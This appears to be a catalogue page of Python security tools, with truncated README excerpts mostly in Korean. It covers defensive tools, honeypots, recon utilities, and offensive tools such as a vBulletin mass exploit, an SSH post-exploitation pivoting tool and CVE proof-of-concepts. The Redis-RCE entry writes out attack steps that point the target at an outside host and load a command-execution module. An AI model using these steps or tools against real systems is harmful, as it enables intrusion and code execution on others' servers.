call_map

========== Call Map .. default-role:: code 소개 Call Map은 Python의 호출 그래프를 탐색하기 위한 도구로, 다른 언어도 지원할 계획입니다. 아래는 callmap -m toolz를 실행한 후 일부 함수를 클릭한 스크린샷입니다. .. figure:: docs/UI-clicked-on-function.png Call Map은 코드베이스에 대한 전반적인 이해를 돕기 위한 도구이지만, 중요한 보안 문제와 직결되는 코드 경로 추적에도 자연스럽게 적합합니다. 많은 보안 문제는 사용자 입력을 위험...

BloodHound.py

BloodHound.py BloodHound.py는 BloodHound를 위한 Python 기반 인제스터ingestor로, Impacket을 기반으로 합니다. 이 브랜치의 코드는 BloodHound 4.2 및 4.3과만 호환됩니다. BloodHound CE를 사용하려면 bloodhound-ce 브랜치를 확인하세요. 설치 BloodHound Community EditionCE과 BloodHound 레거시는 서로 다른 설치 방법이 있습니다. 두 도구를 동시에 설치할 수 있는 방법은 두 도구 모두에 가상 환경을 사용하거나, pipx...

Torward

Torward Torward는 torghost-gn 및 darktor 스크립트를 기반으로 개선된 버전으로, 인터넷 상에서 익명성을 강화하도록 설계되었습니다. 이 도구는 데이터 유출을 방지하고 우리 컴퓨터의 모든 트래픽이 오직 Tor 네트워크를 통해서만 라우팅되도록 강제하여 연결에서 높은 수준의 프라이버시를 제공합니다. 설치 git clone https://github.com/chundefined/Torward.git cd Torward chmod +x install.sh ./install.sh 보안 개선 사항 이 버전에는 신원...

opencve

OpenCVE란 무엇인가요? OpenCVE는 CVE를 효율적으로 모니터링하고 관리할 수 있도록 도와주는 취약점 인텔리전스 플랫폼입니다. MITRE, NVD, RedHat, Vulnrichment 등 여러 소스에서 취약점을 수집하며, 공급업체, 제품, 심각도 등으로 필터링, 추적, 정리할 수 있습니다. 간단하면서도 강력한 인터페이스를 통해 제품을 구독하고, 알림을 받고, 변경 사항을 분석하고, 팀과 협업할 수 있습니다. CVE에 구성원을 할당하여 진행 상황예: 분석 중, 위험 승인을 추적하고 모두의 의견을 일치시킬 수 있습니다...

shellsum

Shellsum 무엇인가요? 방어 도구 – md5sum을 통해 로컬 디렉터리에서 웹 셸을 탐지합니다. 특징 빠른 속도 가벼움 방대한 데이터베이스 테이블 출력 사용법 설치 git clone https://github.com/ManhNho/shellsum.git chmod 755 -R shellsum/ cd shellsum/ pip install -r requirements.txt 실행 python shellsum.py 데모 할 일 출력 다듬기 파일 보고서 내보내기 모듈화 데이터베이스 확장 참고 자료...

SnitchDNS

!CAUTION 이 저장소는 더 이상 관리되지 않습니다. 최신 버전은 https://github.com/sadreck/SnitchDNS 를 방문하세요. SnitchDNS SnitchDNS는 Python과 Twisted로 작성된 데이터베이스 기반 DNS 서버로, 웹 UI를 제공하며 시스템 서비스를 재시작하지 않고도 모든 구성 변경이 즉시 적용되어 DNS 관리를 더 쉽게 만듭니다. 주요 기능 중 하나는 모든 DNS 쿼리를 기록하여 네트워크 트래픽 엔드포인트를 발견할 수 있게 하며, 이메일, 웹 푸시, Slack, Teams를 통한...

vbull

vBulletin 대량 익스플로잇 CVE-2019-16759 경고! 이 도구는 CVE-2019-16759에 대한 침투 테스트를 위해 만들어졌습니다. 사용자가 이 도구를 사용하여 발생하는 오류에 대해 책임을 지지 않습니다. 설치 및 사용법: $ pkg install git python2 $ pip2 install requests $ git clone https://github.com/psychoxploit/vbull $ cd vbull 참고: 이 도구를 실행하기 전에 http://target.tld/ 또는...

N4xD0rk

N4xD0rk 검색 엔진을 이용한 해킹 기술을 사용하여 주요 도메인의 서브도메인을 나열합니다. 설치 GitHub 저장소를 복제하여 최신 버전의 N4xD0rk를 다운로드할 수 있습니다: git clone https://github.com/n4xh4ck5/N4xD0rk.git pip를 통해 종속성을 설치하세요: pip install -r requirements.txt phantomJS를 제대로 설치하려면 다음 단계를 따르세요: 리눅스 Debian, Ubuntu, Kali apt-get update && apt-get install...

punk.py

punk.py unix SSH post-exploitation 1337 tool how it works punk.py is a post-exploitation tool meant to help network pivoting from a compromised unix box. It collect usernames, ssh keys and known hosts from a unix system, then it tries to connect via ssh to all the combinations found. punk.py is...

RedRoot

🔴 RedRoot Lite – Mark X Offensive Security Framework Lite Edition | CLI-Based “Less power. Same discipline.” RedRoot Lite is the restricted edition of RedRoot , designed to provide core red teaming functionality while keeping advanced modules locked. It uses the same architecture, same CLI style,...

netzob

=========================================================== Netzob : Protocol Reverse Engineering, Modeling and Fuzzing .. image:: https://img.shields.io/badge/Python-3-brightgreen.svg :target: https://github.com/netzob/netzob :alt: Python3 See complete documentation here:...

Redis-RCE

Redis-RCE redis4 및 redis5용 원격 코드 실행 python 코드 출처: https://github.com/Ridter/redis-rce so 파일을 로드하여 새 명령 system.exec를 확장함으로써 명령 실행 성공 strings explin.so |grep sys system system.exec syserrlist.h sysnerr syserrlist syssiglist system.exec 0x01 SLAVEOF 192.168.2.18 8989 0x02 config set dir /tmp 0x03...

PortDog

PortDog PortDog는 포트 스캐닝 기술을 탐지하기 위한 네트워크 이상 탐지기입니다. 전적으로 Python으로 작성되었으며 사용하기 쉬운 인터페이스를 제공합니다. Ubuntu 15에서 테스트되었습니다. RAW 패킷 캡처 문제로 인해 Windows OS에서는 작동하지 않습니다. 이 스크립트가 두 플랫폼 모두에서 작동하도록 작업 중입니다. 향후 악의적인 시도를 차단할 수 있는 방화벽 옵션을 추가할 계획입니다. 분석에 Raw 패킷을 사용합니다. 따라서 관리자권한 있는 세션에서 이 스크립트를 실행해야 합니다. alt tag a...

CVE-2015-3306-Python-PoC

CVE-2015-3306-Python-PoC 이것은 OSCP 학습 및 익스플로잇 개발 연습을 위해 metasploit 모듈을 수정하여 변환한 것입니다. 원래는 searchsploit으로 임의의 원격 명령 실행 모듈을 검색하다가 발견했습니다. metasploit 코드를 분석하고 Python으로 변환했습니다. 증명 스크린샷:...

CVE-2022-48565-POC

CVE-2022-48565 PoC 소개 이것은 Python에서 Plist 파일의 안전하지 않은 역직렬화 에 기반한 취약점 CVE-2022-48565 를 시연하는 개념 증명PoC입니다. 특수하게 조작된 Property ListPlist 파일을 처리함으로써 공격자는 대상 시스템에서 임의 코드를 실행할 수 있으며, 잠재적으로 원격 코드 실행RCE으로 이어질 수 있습니다. 이 저장소에는 이 취약점을 악용하는 다양한 방법을 보여주는 네 개의 PoC 스크립트가 있습니다. 이러한 예제는 악성 코드가 Plist 파일에 포함되어 시스템에서 실...

EUVD-2026-92275

Papermerge 3.5.3 allows remote code execution by a standard user via directory traversal in a /api/documents/upload call. A Python .pth file can be written to site-packages, and its code is executed upon the next start of the Python interpreter...

cosa-nostra

Cosa Nostra Cosa Nostra is an open source software clustering toolkit with a focus on malware analysis. It can create phylogenetic trees of binary malware samples that are structurally similar. It was initially released during SyScan360 Shanghai 2016. I basically maintain it since 2016 for my one...

PySQLRecon

PySQLRecon PySQLRecon은 훌륭한 SQLRecon 프로젝트의 Python 포트입니다. 프로젝트 작성자는 @sanjivkawa입니다. 기능 목록은 명령어 섹션을 참조하세요. PySQLRecon을 사용한 SCCM TAKEOVER-1 시연 게시물 Install PySQLRecon은 pip3 install pysqlrecon 명령어나 이 저장소를 클론한 후 pip3 install .을 실행하여 설치할 수 있습니다. Commands SQLRecon의 모든 주요 모듈에 해당하는 명령어가 있습니다. PRIV로 표시된 명령어는...

telnet-iot-honeypot

Disclaimer 이 프로젝트는 더 이상 지원되지 않거나 개발되지 않습니다. 2020년에 수명이 종료된 python2를 기반으로 하며, 시간이 지남에 따라 설치가 점점 어려워지는 의존성을 사용합니다. 사용에 따른 책임은 본인에게 있습니다! Telnet IoT 허니팟 '봇넷 바이너리를 잡기 위한 Python 텔넷 허니팟' 이 프로젝트는 인터넷의 텔넷 서버에서 매우 취약한 기본 비밀번호를 통해 확산되는 IoT 악성코드를 위한 허니팟 역할을 하는 Python 텔넷 서버를 구현합니다. 허니팟은 cowrie...

tartufo

!WARNING 이 프로젝트는 더 이상 활발하게 유지보수되지 않습니다. tartufo는 git 저장소를 검색하여 커밋 기록과 브랜치 깊숙이 숨겨진 비밀 정보를 찾아냅니다. 이는 실수로 커밋된 비밀 정보를 찾는 데 효과적입니다. tartufo는 또한 git pre-commit 스크립트에서 사용하여 변경 사항이 저장소에 커밋되기 전에 비밀 정보가 있는지 검사할 수 있습니다. 이 도구는 각 브랜치의 전체 커밋 기록을 살펴보고, 각 커밋의 각 diff를 검사하여 비밀 정보를 찾습니다. 이는 정규식과 엔트로피 두 가지 방식으로 수행됩니...